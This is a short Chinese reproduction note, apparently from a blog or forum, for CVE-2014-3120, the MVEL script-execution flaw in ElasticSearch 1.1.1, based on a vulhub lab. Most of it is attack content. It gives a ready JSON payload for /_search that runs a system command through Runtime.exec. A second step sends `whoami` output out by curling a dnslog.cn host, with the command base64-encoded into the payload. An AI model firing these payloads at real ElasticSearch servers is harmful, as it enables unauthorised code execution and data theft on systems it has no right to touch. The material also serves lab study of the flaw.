漏洞详情
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。elasticsearch版本:v1.1.1
详细过程请看
CVE-2014-3120 (命令执行漏洞)
这里楼主只复现2个payload
页面
/_search?pretty
post传参
payload1
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
}
}
payload2
dnslog获取一个dns地址
拼接命令
curl `whoami`.gp4pts.dnslog.cn
进行base64编码
替换相应的payload,然后重发包
成功回显
参考文章:
https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120